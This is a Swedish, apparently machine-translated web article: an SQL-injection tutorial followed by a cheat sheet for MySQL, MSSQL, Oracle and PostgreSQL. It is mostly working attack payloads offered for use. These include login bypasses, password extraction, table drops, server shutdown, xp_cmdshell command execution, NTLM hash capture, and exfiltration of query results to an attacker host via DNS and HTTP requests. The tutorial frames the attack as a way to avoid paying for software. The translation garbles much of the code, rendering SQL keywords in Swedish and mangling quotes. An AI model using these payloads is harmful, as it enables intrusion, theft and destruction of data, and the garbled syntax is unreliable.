Meny
Är gratis
registrering
Hem  /  Internet/ SQL Injection inifrån och ut. Definiera kolumnerna som ska visas

SQL Injection inifrån och ut. Definiera kolumnerna som ska visas

SQL-injektion tillräckligt bra möjlighet för en hackare att få
åtkomst till servern. Och med lite ansträngning, han
får det fortfarande 🙂

Kodare inuti

Numera stöds arbetet med databaser
nästan alla programmeringsspråk, dessa inkluderar BASIC, C++, Java, PERL, PHP, Assembler och till och med JavaScript! Och dessa program kallas på inget annat sätt som DBMS - databashanteringssystem. Databaser används ofta för att lösa ekonomiska problem,
redovisning, personalorganisation, men de har hittat sin ansökan på Internet.

Databaser används ofta för att skriva webbapplikationer. Deras användning är mest lämplig för att lagra användarregistreringsdata, sessions-ID:n, organisera sökningar och andra uppgifter som kräver mer bearbetning.
mängd data. Serverteknologier används för att komma åt databasen: PHP, PERL, ASP, etc. Det är här det roliga börjar. När du är på servern
alla patchar är installerade och brandväggen blockerar alla portar utom den 80:e, eller när autentisering krävs för att komma åt vissa data kan en hackare använda SQL Injection för att hacka. Kärnan i denna attack är att använda ett fel vid korsningen WEB-teknik och SQL. Faktum är att många webbsidor för att behandla användardata, bilda en special SQL databasfråga. Slarvig användning av denna teknik kan leda till ganska intressanta resultat ...

SQL-injektion

För att förklara attacken, låt oss föreställa oss att du gick till webbplatsen för att ladda ner ett mycket viktigt verktyg och du märker med fasa att bara en registrerad användare kan göra detta, och registrering kostar naturligtvis pengar 🙂 Du vill inte ge senast intjänade pengar, men utan programmet kan du! Det är dags att komma ihåg hur
tillgång till databaser SQL... Att kontrollera ett användarnamn och lösenord i PHP kan till exempel se ut så här:

$ resultat = mysql_db_query ($ db, "VÄLJ * FRÅN $ tabell WHERE user =" $ login "OCH
pass = "$ lösenord" ");
$ num_rows = mysql_num_rows ($ resultat);
mysql_close ($ länk);
if ($ num_rader! = 0)
{
// AUTENTICERING OK
}
annan
{
// VERIFIERINGSFEL
}

Jag lade till två kommentarer, "AUTENTIKERING OK" - borde istället
gå till koden som kommer att köras om lösenordet och inloggningen är korrekta. Ett annat "autentiseringsfel" är platsen där koden kommer att beskrivas, som kommer att exekveras om de är felaktiga. Om du fyller i formuläret kommer begäran att se ut som "http://www.server.com?login=user&password=31337", där www.server.com är namnet
servern vi försöker ansluta till. Vi hittade det vi letade efter, och därför kommer vi tillbaka till jobbet igen SQL... Så, om du för auktorisering måste ange ett användarnamn och lösenord, då genereras SQL begäran kommer att se ut så här:

VÄLJ * FRÅN användare WHERE login = "användare" OCH
lösenord = "31337"

Detta betyder ungefär följande: returnera alla poster från användardatabasen med inloggningen "användare" och lösenordet "31337". Om en sådan post finns, är användaren registrerad, men om inte, då nej ... Men under vissa omständigheter kan allt korrigeras. Detta innebär en situation när applikationen inte kontrollerar innehållet i de överförda data eller inte kontrollerar fullständigt, för närvaron SQL instruktioner. I det här exemplet jämförs två fält inloggning och lösenord, men om du anger "31337" AND email =' [e-postskyddad]"(Utan dubbla citattecken), då blir frågan något annorlunda:

VÄLJ * FRÅN användare WHERE login = "användare" OCH lösenord = "31337" OCH
e-post = " [e-postskyddad]"

Och om e-postfältet finns kommer även detta villkor att kontrolleras. Om du kommer ihåg grunderna i boolesk algebra, kommer det att tänka på att förutom operationen "och" finns det också ett "eller", och eftersom deras användning stöds av SQL, kan du
lägg till ett villkor som alltid returnerar sant på det beskrivna sättet. För att göra detta måste du ange "användare" ELLER 1 = 1— "som en inloggning, i vilket fall begäran kommer att ha formen:

VÄLJ * FRÅN användare VAR login = "användare" ELLER 1 = 1-- "OCH
lösenord = "31337"

Först bör du veta att "-" betyder slutet på begäran och allt efter "-"
kommer inte att behandlas! Det visar sig som om vi gjorde en begäran:

VÄLJ * FRÅN användare WHERE login = "användare" ELLER 1 = 1

Som du kan se har vi lagt till villkoret "1 = 1", vilket innebär att testkriteriet kommer att vara "om inloggningen är 'användare' eller 1 = 1", men 1 är alltid lika med 1 (det enda undantaget kan vara Dani Shepovalovs aritmetik :)). För att testa våra misstankar
vi hammar in adressfält"Http://www.server.com?login=användare eller 1 = 1— & lösenord = 31337". Detta leder till att det inte spelar någon roll vilken inloggning vi angett, men
speciellt lösenordet! Och vi är i matrisen ... åh, i systemet och vi kan lugnt ladda ner det vi behöver.

Men allt detta är i teorin. I praktiken vet vi inte hur begäran bildas, vilka data som överförs och i vilken ordningsföljd. Därför är det nödvändigt att ange "användare" ELLER 1 = 1— "för alla fält. Du bör också kontrollera inlämningsformuläret för dolda fält. I HTML beskrivs de som " ". Om det finns några, spara sidan och ändra värdena för dessa fält. Värdena som finns i dem glöms ofta bort att kontrollera förekomsten av SQL-satser. Men för att allt ska fungera bör du i formuläret (taggen "FORM") för parametern "ACTION" ange den fullständiga sökvägen till skriptet som bearbetar denna begäran.

Men det är inte alltid också känt hur begäran bildas,
det föregående exemplet kan utformas på följande sätt:

VÄLJ * FRÅN användare VAR (inloggning = "användare" OCH lösenord = "31337")
VÄLJ * FRÅN användare WHERE login = "användare" OCH lösenord = "31337"
VÄLJ * FRÅN användare WHERE login = användare OCH lösenord = 31337

I det här fallet kan du prova följande alternativ:

'ELLER 1 = 1—
"ELLER 1 = 1—
ELLER 1 = 1—
'ELLER' a '=' a
"ELLER" a "=" a
’) ELLER (‘a ’=’ a
ELLER '1' = '1'

Allt beror på syftet med skriptet och på programmeraren. Eftersom det är vanligt att varje person gör allt på sitt eget sätt, är det mycket möjligt att programmeraren inte kommer att välja det enklaste alternativet. Därför bör man inte omedelbart
ge upp om du blir avvisad. Nödvändig
försök så mycket som möjligt stor kvantitet alternativ ...

Lösenordsdetektering

Att kringgå auktorisering är inte dåligt, men väldigt ofta stängs hålet du använder och allt som var tillgängligt för dig går förlorat.
Detta är att förvänta, om programmeraren inte är en dåre.
med tiden kommer att täcka alla kryphål. Du kan enkelt bli av med sådana situationer genom att ta hand om detta i förväg. Den korrekta lösningen kan vara att gissa lösenordet med hjälp av
analys av autentiseringsresultat. Först försöker vi gissa lösenordet, för detta anger vi platsen för det:

"ELLER lösenord>" a

Om de svarar oss att auktoriseringen godkändes, då lösenordet
börjar inte med bokstaven "a", utan med något av följande på listan. Gå vidare och byt ut
placera "a", nästa "b", "c", "d", "e" ... och så vidare. tills vi får veta att lösenordet inte är korrekt. Låt denna process stanna vid symbolen "x", i det här fallet skapas två alternativ för utveckling av situationen, lösenordet hittas eller lösenordet läses på denna symbol. För att kontrollera det första alternativet skriver vi platsen för lösenordet:

'ELLER lösenord =' ​​x

och om lösenordet accepteras och du får komma in, då gissade du lösenordet! Tja, nej, då borde du redan välja den andra karaktären,
exakt samma från början. För två tecken, kontrollera
du behöver detsamma. I slutändan får du ett lösenord, och du söker efter inloggningen på samma sätt 🙂
Om det hittade lösenordet och inloggningen inte passar dig kan du hitta andra. För att göra detta måste du börja kontrollera från det sista tecknet i det hittade lösenordet. Så om lösenordet var "xxx", är det nödvändigt att kontrollera existensen av lösenordet
"xxy":

'ELLER lösenord =' ​​xxx

för att inte missa mer än ett alternativ!

MS SQL Server

FRÖKEN SQL Server i allmänhet ett fynd om den nödvändiga filtreringen missas. Med hjälp av SQL Injection sårbarheten kan du köra
kommandon på en fjärrserver som använder exec master..xp_cmdshell. Men att använda denna konstruktion
det är nödvändigt att slutföra "SELECT"-operationen. I SQL separeras satser med semikolon. Därför kommer den att ansluta till viss IP via Telnet, du måste ange lösenordet / inloggningsplatsen:

"; exec master..xp_cmdshell" telnet 192.168.0.1 "-

MS SQL Server har några fler intressanta funktioner, så att du kan ta reda på de inloggningar och lösenord som är lagrade i databasen. För att göra detta omdirigeras felutgången till en godtycklig server och genom dem
analys, kan du ta reda på namnet på tabellen, fält och deras typer. Då kan du begära

'UNION SELECT TOP 1 inloggning FRÅN användare—

(login är namnet på fältet som innehåller inloggningen, och användare är namnet på tabellen,
semi-forskare i processen med felanalys).

Svaret kan vara följande:


Syntaxfel vid konvertering av nvarchar-värdet "(! LANG: admin" to a column of data type int. !}
/default.asp, rad 27

Vi vet nu att det finns en användare som heter "admin". Nu kan vi få hans lösenord:

'UNION SELECT TOP 1-lösenord FRÅN användare där login =' admin'—

Resultat:

Microsoft OLE DB Provider för ODBC-drivrutiner fel "80040e07"
Syntaxfel vid konvertering av nvarchar-värdet "(! LANG: xxx" to a column of data type int. !}
/tedault.asp, rad 27

Nu vet vi att det finns en användare "admin" med lösenordet "xxx". Detta kan säkert
använd och logga in i systemet 😉

Men det finns många andra funktioner för att arbeta med SQL,
när du arbetar med en databas kan du också ta bort data, ändra, infoga dina egna och till och med manipulera filer och arbeta med registret.
I allmänhet reglerar SQL Server 🙂

Skydd

Men allt detta kan naturligtvis undvikas. För att göra detta kan du
använda filter,
tillhandahålls av tillverkarna. Du kan hitta dina egna lösningar, till exempel byta ut alla singel
dubbla citattecken (om för SQL vi använder en enda begäran), eller vice versa. Du kan bara tillåta användning av bokstäver och med @ baki, om du behöver gå in
e-postadress. Och även i pearl finns en fantastisk
funktionen 🙂 citat () i DBI :: DBD-modulen som framgångsrikt gör din fråga säker mot SQL... Det finns många lösningar, du behöver bara dem
utnyttja. Annars, varför då allt detta...

SQL Injection Cheat Sheet är utformat för att sammanfatta de tekniska egenskaperna hos olika typer av SQL-injektionssårbarheter. Artikeln presenterar funktionerna i SQL-injektion i MySQL, Microsoft SQL Server, ORAKEL och PostgreSQL.

0. Inledning
I den här artikeln kan du hitta detaljerad information teknisk information om olika typer av SQL-injektion. Det kan vara användbart både för erfarna specialister och nybörjare inom området informationssäkerhet.

V för närvarande fuskbladet innehåller endast information för MySQL, Microsoft SQL Server och en del data för ORACLE och PostgreSQL. Avsnitten innehåller syntax, förklaringar och injektionsexempel.

Använd notation:
M (MySQL);
S (SQL-server);
O (Oracle);
P (PostgreSQL);
+ (möjligen på andra databaser);
* (särskilda villkor krävs).

1. Linjekommentarer
Kommentarer är vanligtvis användbara för att ignorera en del av en begäran.
Syntax:
- (SM): DROP provtagningsbar; -
# (M): DROP provtabell; #
Exempel:
Användarnamn: admin "-
Genererad fråga: VÄLJ * FRÅN medlemmar WHERE användarnamn = "admin" - "OCH lösenord =" lösenord "
Detta gör att du kan logga in som administratörsanvändare och ignorera lösenordskontrollen.

2. Blockera kommentarer
Med deras hjälp kan du ignorera en del av begäran, ersätta mellanslag, kringgå svarta listor, bestämma versionen av databasen.
Syntax:
/ * Kommentar * / (SM):
DROP / * kommentar * / provtabell
DR / ** / OP / * traversal_black_list * / sampletable
SELECT / * space_replace * / lösenord / ** / FROM / ** / Medlemmar

/*! MYSQL Special SQL * / (M): SELECT / *! 32302 1/0, * / 1 FRÅN tabellnamn
Detta är en MySQL-specifik kommentarsyntax. Det låter dig upptäcka din MySQL-version. Den här kommentaren fungerar bara i MySQL.
Exempel:
ID: 10; DROP TABLE medlemmar / *
Vi ignorerar resten av begäran, samt en radkommentar.

ID: / *! 32302 10 * /
du får samma svar som med ID = 10 om MySQL-versionen är högre än 3.23.02

ID: / *! 32302 1/0, * /
Genererad fråga: SELECT / *! 32302 1/0, * / 1 FROM tabellnamn
Uppdelning med 0-fel kommer att uppstå om servern har MySQL-version högre än 3.23.02

3. Sekvens av förfrågningar
Låter dig utföra mer än en begäran åt gången. Detta är användbart när som helst under injektionen.


Grön - stöds; svart - stöds inte; grå - okänd.
Syntax:
; (S): VÄLJ * FRÅN medlemmar; DROP medlemmar--
En begäran har avslutats, nästa har börjat.
Exempel:
ID: 10; DROP-medlemmar -
Genererad fråga: SELECT * FROM products WHERE id = 10; DROP medlemmar--
Denna fråga kommer att ta bort medlemstabellen efter en normal fråga.

4. Villkorliga uttalanden
Vi kommer att få svar på begäran om villkoret är uppfyllt. Detta är en av nyckelpunkterna för blind injektion. De hjälper också till att noggrant kontrollera enkla saker.
Syntax:
IF (villkor, sann-del, falsk-del) (M): VÄLJ OM (1 = 1, "true", "false")
IF-villkor true-part ELSE false-part (S): IF (1 = 1) SELECT "true" ELSE SELECT "false"
IF condition THEN true-part; ANNAT falsk-del; SLUT OM; SLUTET; (O): OM (1 = 1) DÅ dbms_lock.sleep (3); ELSE dbms_lock.sleep (0); SLUT OM; SLUTET;
SELECT CASE WHEN condition THEN true-part ELSE false-part END; (P): VÄLJ FALL NÄR (1 = 1) DÅ SLUTAR "A" ANNARS "B";
exempel:
om ((välj användare) = "sa" ELLER (välj användare) = "dbo") välj 1 annars välj 1/0 (S)
kommer att kasta en division med noll fel om den nuvarande användaren inte är "sa" eller "dbo".

5. Använda siffror
Används för att kringgå magic_quotes () och liknande filter, inklusive WAF.
Syntax:
0xHEX_NUMBER (SM):
VÄLJ CHAR (0x66) (S)
SELECT 0x5045 (detta är inte ett nummer, utan en sträng) (M)
VÄLJ 0x50 + 0x45 (detta är nu ett nummer) (M)
Exempel:
VÄLJ LOAD_FILE (0x633A5C626F6F742E696E69) (M)
Visar innehållet i filen c: \ boot.ini

6. Strängsammansättning
Radoperationer kan hjälpa dig att kringgå filter eller definiera en databas.
Syntax:
+ (S): VÄLJ inloggning + "-" + lösenord FRÅN medlemmar
|| (* MO): VÄLJ inloggning || "-" || lösenord FRÅN medlemmar
Fungerar om MySQL körs i ANSI-läge. Annars kommer MySQL inte att acceptera det som en boolesk operator och returnerar 0. Bättre att använda CONCAT ()-funktionen i MySQL.

CONCAT (str1, str2, str3, ...) (M): VÄLJ CONCAT (inloggning, lösenord) FRÅN medlemmar

7. Rader utan citattecken
Det finns flera sätt att undvika att använda citattecken i en fråga, till exempel med CHAR () (MS) och CONCAT () (M).
Syntax:
SELECT 0x457578 (M)

MySQL har ett enkelt sätt att hexa en sträng:
VÄLJ CONCAT ("0x", HEX ("c: \\ boot.ini"))

Returnerar strängen "KLM":
VÄLJ CONCAT (CHAR (75), CHAR (76), CHAR (77)) (M)
VÄLJ CHAR (75) + CHAR (76) + CHAR (77) (S)
VÄLJ CHR (75) || CHR (76) || CHR (77) (O)
VÄLJ (CHaR (75) || CHaR (76) || CHaR (77)) (P)

8. Konvertering av strängar och tal.
Syntax:
ASCII () (SMP): VÄLJ ASCII ("a")
Returnerar ASCII-koden för tecknet längst till vänster. Funktionen används för blinda injektioner.

CHAR () (SM): VÄLJ CHAR (64)
Översätter ASCII-koden till motsvarande tecken.

9. UNION-operatör
Med UNION-operatorn kan du göra frågor i skärningspunkten mellan tabeller. I grund och botten kan du skicka en fråga som returnerar ett värde från en annan tabell.
Exempel:
SELECT header, txt FROM news UNION ALL SELECT namn, pass FROM medlemmar
Detta kommer att kombinera resultaten från nyhets- och medlemstabellerna.

10. Förbikoppling av autentisering (SMO +)
Exempel:
admin "-
admin "#
admin "/ *
"eller 1 = 1--
"eller 1 = 1 #
"eller 1 = 1 / *
") eller" 1 "=" 1--
") eller (" 1 "=" 1--

11. Förbigå autentisering med MD5
Om applikationen först jämför användarnamnet och sedan jämför md5-hash för lösenordet, behöver du ytterligare knep för att kringgå autentiseringen. Du kan kombinera resultaten med ett känt lösenord och dess hash.
Exempel (MSP):
Användarnamn: admin
Lösenord: 1234 "AND 1 = 0 UNION ALL SELECT" admin ","
= MD5 (1234)

12. Felbaserat
12.1 Definiera kolumner med HAVING BY (S)
Exempel:
I samma ordning
"HA 1 = 1 -
"GRUPPA EFTER table.columnfromerror1 HAR 1 = 1 -
"GRUPPA EFTER table.columnfromerror1, columnfrommerror2 HAR 1 = 1 -
"GRUPPA EFTER table.columnfrommerror1, columnfrommerror2, columnfrommerror3 HAR 1 = 1 -
…………….
Fortsätt tills du slutar få fel.

12.2 Bestäm antalet kolumner med ORDER BY (MSO +)
Att hitta antalet kolumner med ORDER BY kan påskyndas med UNION-injektion.
BESTÄLL MED 1--
BESTÄLL MED 2--
BESTÄLL MED 3-
………………..
Fortsätt tills du får ett felmeddelande. Detta kommer att indikera antalet kolumner.

13. Datatypsdefinition
Använd alltid UNION med ALL.
För att bli av med en onödig post i tabellen, använd -1 any not befintliga värden i början av frågan (om injektion finns i parametern WHERE). Detta är viktigt om du bara kan hämta ett värde åt gången.
Använd NULL i UNION-injektion istället för att försöka gissa en sträng, datum, nummer, etc. Men var försiktig med blindinjektion, som du kan blanda ihop felet i DB och själva applikationen. Vissa språk, till exempel ASP.NET, ger ett fel när ett NULL-värde används (eftersom utvecklarna inte förväntade sig att se ett null-värde i användarnamnsfältet)
Exempel:
"union välj summa (kolumntofind) från användare-- (S):
Om du inte får något felmeddelande är kolumnen numerisk.

VÄLJ * FRÅN tabell 1 DÄR id = -1 UNION ALLA VÄLJ null, null, NULL, NULL, konvertera (bild, 1), null, null, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL -
Du kan använda CAST () eller KONVERTERA ()

11223344) UNION SELECT NULL, NULL, NULL, NULL WHERE 1 = 2 –-
Om det inte finns något fel så är syntaxen korrekt, d.v.s. används av MS SQL Server.

11223344) UNION SELECT 1, NULL, NULL, NULL WHERE 1 = 2 –-
Om det inte finns något fel är den första kolumnen ett nummer.

11223344) UNION SELECT 1,2, NULL, NULL WHERE 1 = 2 -
Om ett fel visas är den andra kolumnen inte en siffra.

11223344) UNION SELECT 1, '2', NULL, NULL WHERE 1 = 2 –-
Om det inte finns något fel är den andra kolumnen en rad.
……………..

14. Enkel infogning (MSO +)
Exempel:
"; infoga i användarvärden (1," hax0r "," coolpass ", 9) / *

15. Insamling av information
Syntax:
@@ version (MS)
Du kan kontrollera DB-versionen och mer information.
Exempel:
INSERT INTO medlemmar (id, användare, pass) VÄRDEN (1, "" + SUBSTRING (@@ version, 1,10), 10)

16. Komplex insats (S)
Låter dig infoga innehållet i en fil i en tabell. Om du inte känner till webbapplikationens interna sökväg kan du läsa IIS-metabasen (endast IIS 6).
Syntax:
fil (% systemrot% \ system32 \ inetsrv \ MetaBase.xml)
Då kan du hitta ansökningsvägar i den.
Exempel:
1. Skapa table foo (sträng av varchar (8000) typ)
2. Infoga innehållet i filen 'c: \ inetpub \ wwwroot \ login.asp' i tabell foo
3. Släpp den tillfälliga tabellen och upprepa för en annan fil.

17. BCP (S)
Skriver ner textfil... Detta kräver legitimation.
Exempel:
bcp "SELECT * FROM test..foo" queryout c: \ inetpub \ wwwroot \ runcommand.asp -c -Slocalhost -Usa -Pfoobar

18.VBS, WSH i SQL Server (S)
Du kan använda VBS, WSH-skript i SQL Server.
Exempel:
Användarnamn: "; declare @o int exec sp_oacreate" wscript.shell ", @o out exec sp_oamethod @o," run ", NULL," notepad.exe "-

19. Utförande av systemkommandon (S)
Välkänt knep, funktionen är inaktiverad som standard i SQL Server 2005. Du behöver administratörsrättigheter.
Exempel:
EXEC master.dbo.xp_cmdshell "cmd.exe dir c:"
EXEC master.dbo.xp_cmdshell "ping"

20. Specialtabeller i SQL Server (S)
Exempel:
Felmeddelanden: master..sysmessages
Länkade servrar: master..sysservers
Lösenord SQL Server 2000: masters..sysxlogins
Lösenord SQL Server 2005: sys.sql_logins

21. Flera lagrade procedurer för SQL Server (S)
Syntax:
Cmd Execute (xp_cmdshell)
Registergrejer (xp_regread):
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
Hantera tjänster (xp_servicecontrol)
Media (xp_availablemedia)
ODBC-resurser (xp_enumdsn)
Inloggningsläge (xp_loginconfig)
Skapa Cab-filer (xp_makecab)
Domänuppräkning (xp_ntsec_enumdomains)
Process Killing (PID krävs) (xp_terminate_process)
Lägg till ny procedur (sp_addextendedproc)
Skriv textfil till en UNC eller en intern sökväg (sp_makewebtask)
Exempel:
exec xp_regread HKEY_LOCAL_MACHINE, "SYSTEM \ CurrentControlSet \ Services \ lanmanserver \ parametrar", "nullsessionshares"
exec xp_regenumvalues ​​HKEY_LOCAL_MACHINE, "SYSTEM \ CurrentControlSet \ Services \ snmp \ parametrar \ validcommunities"
sp_addextendedproc 'xp_webserver', 'c: \ temp \ x.dll'
exec xp_webserver

22. MSSQL Bulk Notes
Exempel:
VÄLJ * FRÅN master..sysprocesses / * VAR [e-postskyddad]@ SPID * /
DECLARE @result int; EXEC @result = xp_cmdshell "dir * .exe"; IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME ()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
INSERT tbl EXEC master..xp_cmdshell OSQL / Q "DBCC SHOWCONTIG"
OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

23. SQL-injektion i LIMIT (M) frågor
Exempel:
SELECT id, product FROM test.test LIMIT 0,0 UNION ALL SELECT 1, "x" / *, 10;
För att komma runt LIMIT-satsen kan du använda UNION eller kommentera.

24. Stäng av SQL Server (S)
Exempel:
"; stänga av -

25. Aktivera xp_cmdshell i SQL Server 2005
Syntax:
Som standard är xp_cmdshell och ett par andra potentiellt farliga funktioner inaktiverade i SQL Server 2005. Som administratör kan du aktivera dem.
EXEC sp_configure "visa avancerade alternativ", 1
KONFIGURERA OM
EXEC sp_configure "xp_cmdshell", 1
KONFIGURERA OM

26. Söka i databasstrukturen i SQL Server (S)
Exempel:
VÄLJ namn FRÅN sysobjects WHERE xtype = "U"

SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = "tabellnamnförkolumnnamn")
Hämtar kolumntitlar

27. Flytta poster (S)
Exempel:
... WHERE users NOT IN ("Första användare", "Andra användare")
Använd WHERE med NOT IN eller NOT EXIST

VÄLJ TOP 1 namn FRÅN medlemmar DÄR INTE FINNS (VÄLJ TOP 0 namn FRÅN medlemmar)

VÄLJ * FRÅN Produkt WHERE ID = 2 OCH 1 = CAST ((Välj p.namn från (VÄLJ (VÄLJ ANTAL (i.id)) AS rid FROM sysobjects i WHERE i.id<=o.id)
AS x, namn från sysobjects o) som p där p.x = 3) som int

Välj p.name från (SELECT (SELECT COUNT (i.id) AS rid FROM sysobjects i WHERE xtype = "U" och i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = "U") as p where p.x=21

28. Ett snabbt sätt att extrahera data från felbaserad SQL-injektion i SQL Server (S)
"; BÖRJA DEKLARERA @rt varchar (8000) SET @ rd =": "VÄLJ @ [e-postskyddad]+ "" + namn FRÅN syskolumner WHERE id = (VÄLJ ID FRÅN sysobjects WHERE namn = "MEMBERS") OCH namn> @rd VÄLJ @rd AS rd till TMP_SYS_TMP-slutet; -

29. Söka i databasstrukturen i MySQL (M)
Exempel:
SELECT table_name FROM information_schema.tables WHERE table_schema = "tabellnamn"
Hämta anpassade tabeller

VÄLJ tabellnamn, kolumnnamn FRÅN informationsschema.kolumner WHERE tabellschema = "tabellnamn"
Hämtar kolumntitlar

30. Söka i databasstrukturen i Oracle (O)
Exempel:
SELECT * FROM all_tables WHERE OWNER = "DATABASE_NAME"
Hämta anpassade tabeller

SELECT * FROM all_col_comments WHERE TABLE_NAME = "TABELL"
Hämtar kolumntitlar

31. Blind injektion
I en kvalitetsapp kommer du inte att kunna se felmeddelanden. Du kommer inte att kunna använda UNION-operatören och felbaserade attacker. Du måste använda blind SQL-injektion för att hämta data. Det finns två typer av blinda injektioner.
Vanlig blindinjektion: Du kan inte se resultatet av förfrågningar på sidan, men du kan avgöra resultatet från svaret eller HTTP-status.
Helblind injektion: Du kommer inte att se någon skillnad i uteffekten.
Vid vanliga blinda injektioner kan man använda IF- och WHERE-satser, vid helt blinda injektioner behöver man använda vissa väntefunktioner och jämföra svarstider. För att göra detta kan du använda WAIT FOR DELAY '0: 0: 10' i SQL Server, BENCHMARK () och sleep (10) i MySQL, pg_sleep (10) i PostgreSQL.
Exempel:
Det här exemplet är baserat på en verklig exploatering av Blind Injection på SQL Server.

TRUE: VÄLJ ID, Användarnamn, E-postadress FROM WHERE ID = 1 OCH ISNULL (ASCII (SUBSTRING ((VÄLJ TOP 1-namn FRÅN sysObjects WHERE xtYpe = 0x55 OCH namn INTE IN (VÄLJ TOP 0-namn FRÅN sysObjects WHERE xtYpe = 0x55)), , 1)), 0)> 78--

FALSK: VÄLJ ID, Användarnamn, E-postadress FRÅN VAR ID = 1 OCH ISNULL (ASCII (SUBSTRING ((VÄLJ TOP 1 namn FRÅN sysObjects WHERE xtYpe = 0x55 OCH namn INTE IN (VÄLJ TOP 0 namn FRÅN sysObjects WHERE xtYpe = 0x55)), , 1)), 0)> 103--

FALSK: VÄLJ ID, Användarnamn, E-postadress FRÅN VAR ID = 1 OCH ISNULL (ASCII (SUBSTRING ((VÄLJ TOP 1 namn FRÅN sysObjects WHERE xtYpe = 0x55 OCH namn INTE IN (VÄLJ TOP 0 namn FRÅN sysObjects WHERE xtYpe = 0x55)), , 1)), 0)> 89--

FALSK: VÄLJ ID, Användarnamn, E-postadress FRÅN VAR ID = 1 OCH ISNULL (ASCII (SUBSTRING ((VÄLJ TOP 1 namn FRÅN sysObjects WHERE xtYpe = 0x55 OCH namn INTE IN (VÄLJ TOP 0 namn FRÅN sysObjects WHERE xtYpe = 0x55)), , 1)), 0)> 83--

TRUE: VÄLJ ID, Användarnamn, E-postadress FROM WHERE ID = 1 OCH ISNULL (ASCII (SUBSTRING ((VÄLJ TOP 1-namn FRÅN sysObjects WHERE xtYpe = 0x55 OCH namn INTE IN (VÄLJ TOP 0-namn FRÅN sysObjects WHERE xtYpe = 0x55)), , 1)), 0)> 79--

FALSK: VÄLJ ID, Användarnamn, E-postadress FRÅN VAR ID = 1 OCH ISNULL (ASCII (SUBSTRING ((VÄLJ TOP 1 namn FRÅN sysObjects WHERE xtYpe = 0x55 OCH namn INTE IN (VÄLJ TOP 0 namn FRÅN sysObjects WHERE xtYpe = 0x55)), , 1)), 0)> 80--

Baserat på de två sista frågorna vet vi säkert att värdet på det första tecknet i ascii är 80. Så det första tecknet är "P". Därmed kan vi ta reda på namnen på tabellerna och deras innehåll. Ett annat sätt är att läsa data bit för bit.

32. Helt blind injektion
Använd denna metod endast för verkligt blind injektion. Var försiktig med latens.
Syntax:
VÄNTA PÅ FÖRDRÖJNING "tid" (S)
Funktionen väntar helt enkelt på den angivna tiden utan att ladda processorn.
Exempel:
if (välj användare) = "sa" vänta på fördröjning "0: 0: 10"
Produkt-ID = 1; vänta på fördröjning "0: 0: 10" -
ProductID = 1); vänta på fördröjning "0: 0: 10" -
Produkt-ID = 1 "; vänta på fördröjning" 0: 0: 10 "-
Produkt-ID = 1 "); vänta på fördröjning" 0: 0: 10 "-
ProductID = 1)); vänta på fördröjning "0: 0: 10" -
ProductID = 1 ")); vänta på fördröjning" 0: 0: 10 "-
Syntax:
BENCHMARK (hur många gånger, gör detta) (M)
Exempel:
OM FINNS (VÄLJ * FRÅN användare WHERE användarnamn = "root") BENCHMARK (1000000000, MD5 (1))
Vi kontrollerar närvaron av root-användaren.

IF (VÄLJ * FRÅN inloggning) BENCHMARK (1000000, MD5 (1))
Söker efter en tabell i MySQL
Syntax:
pg_sleep (sekunder) (P)
Sov i angivna sekunder.

sömn (sekunder) (M)
sova i tillgivna sekunder.

bms_pipe.receive_message (O)
sova i tillgivna sekunder.
Exempel:
(VÄLJ CASE NÄR (NVL (ASCII (SUBSTR (((INJECTION)), 1,1)), 0) = 100) DÅ dbms_pipe.receive_message (("xyz"), 10) ANNAT dbms_pipe.receive_message (("xyz" ), 1) SLUT FRÅN dubbel)
(INJEKTION) är din begäran.
Om villkoret är sant kommer svaret att vara 10 sekunder. Annars blir svaret 1 sekund.

33. Användbara MySQL-funktioner
Syntax:
MD5 ()
SHA1 ()
LÖSENORD ()
KODA ()
KOMPRESSA ()
ROW_COUNT ()
SCHEMA ()
VERSION ()

34. Andra ordningens SQL-injektioner
Vanligtvis infogar du en SQL-injektionsfråga i ett fält och förväntar dig att den inte ska filtreras.
Exempel:
Namn: "+ (VÄLJ TOP 1 lösenord FRÅN användare) +"
E-post: [e-postskyddad]
Om applikationen använder fältnamnet för en lagrad procedur eller funktion, kan du använda den för injektion.

35. Använda SQL Server för att hämta NTLM-hashar
Denna attack hjälper till att få Windows-användarlösenordet för målservern via SQL Server om det inte finns någon extern åtkomst. Vi kan tvinga SQL Server att ansluta till Windows med en UNC-sökväg och hämta NTLM-sessionen med specialverktyg som Cain & Abel.

Syntax:
UNC-sökväg: "\\ DIN IPADRESS \ C $ \ x.txt"
36. Andra exempel på injektioner
SQL Server:
vulnerableParam = 1; VÄLJ * FRÅN OPENROWSET ("SQLOLEDB", ((INJECTION)) + ". Yourhost.com"; "sa"; "pwd", "SELECT 1")

vulnerableParam = 1; DECLARE @q varchar (1024); SET @q = "\\" + ((INJEKTION)) + ". Yourhost.com \\ test.txt"; EXEC master..xp_dirtree @q
skapar en DNS-begäran till (INJECTION) .yourhost.com

(INJEKTION) är din begäran.
MySQL:
? vulnerableParam = -99 ELLER (VÄLJ LOAD_FILE (concat ("\\\\", ((INJECTION)), "yourhost.com \\")))
Skapar NBNS / DNS-förfrågan till yourhost.com
? vulnerableParam = -99 ELLER (VÄLJ ((INJEKTION)) I UTFIL "\\\\ yourhost.com \\ share \\ output.txt")
Skriver data till din fil
(INJEKTION) är din begäran.
Orakel:
? vulnerableParam = (VÄLJ UTL_HTTP.REQUEST ("http: // värd / sniff.php? sniff =" || ((INJEKTION)) || "") FRÅN DUBBEL)
Sniffaren sparar resultaten
? vulnerableParam = (VÄLJ UTL_HTTP.REQUEST ("http: // värd /" || ((INJEKTION)) || ".html") FRÅN DUBBEL)
Resultaten kommer att sparas HTTP-loggar
? vulnerableParam = (VÄLJ UTL_INADDR.get_host_addr (((INJECTION)) || ".yourhost.com") FRÅN DUAL)

? vulnerableParam = (VÄLJ SYS.DBMS_LDAP.INIT (((INJECTION)) || ’.yourhost.com’, 80) FRÅN DUAL)
Du måste analysera trafiken av DNS-förfrågningar till yourhost.com
(INJEKTION) är din begäran.

